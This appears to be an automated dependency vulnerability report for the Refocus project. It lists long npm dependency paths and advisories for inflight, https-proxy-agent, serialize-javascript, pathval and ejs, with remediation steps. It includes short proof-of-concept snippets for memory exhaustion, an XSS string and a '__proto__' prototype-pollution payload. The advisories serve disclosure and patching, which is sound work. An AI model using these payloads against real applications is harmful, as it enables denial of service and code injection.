  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmpublish@1.1.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmpublish@1.1.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmpublish@1.1.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmpublish@1.1.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 cacache@12.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Man-in-the-Middle (MitM)

  • Vulnerable module: https-proxy-agent
  • Introduced through: newrelic@1.40.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af newrelic@1.40.0 https-proxy-agent@0.3.6
    Remediation: Upgrade to newrelic@4.0.0.

Overview

https-proxy-agent is a module that provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in https module.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). When targeting a HTTP proxy, https-proxy-agent opens a socket to the proxy, and sends the proxy server a CONNECT request. If the proxy server responds with something other than a HTTP response 200, https-proxy-agent incorrectly returns the socket without any TLS upgrade. This request data may contain basic auth credentials or other secrets, is sent over an unencrypted connection. A suitably positioned attacker could steal these secrets and impersonate the client.

PoC by Kris Adler

var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');

var proxyOpts = url.parse('http://127.0.0.1:80');
var opts = url.parse('https://www.google.com');
var agent = new HttpsProxyAgent(proxyOpts);
opts.agent = agent;
opts.auth = 'username:password';
https.get(opts);

Remediation

Upgrade https-proxy-agent to version 2.2.3 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: serialize-javascript
  • Introduced through: serialize-javascript@1.9.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af serialize-javascript@1.9.1
    Remediation: Upgrade to serialize-javascript@6.0.2.

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to unsanitized URLs. An Attacker can introduce unsafe HTML characters through non-http URLs.

PoC

const serialize = require('serialize-javascript');

let x = serialize({
    x: new URL("x:</script>")
});

console.log(x)

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serialize-javascript to version 6.0.2 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: pathval
  • Introduced through: jscs@3.0.7

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 pathval@0.1.1

Overview

pathval is an Object value retrieval given a string path

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

var pathval = require('pathval');

var obj = {};
pathval.setPathValue(obj, '__proto__.polluted', true);

console.log(polluted); // true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade pathval to version 1.1.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: ejs
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 ejs@0.8.8
    Remediation: Upgrade to passport-saml@0.20.0.

Overview

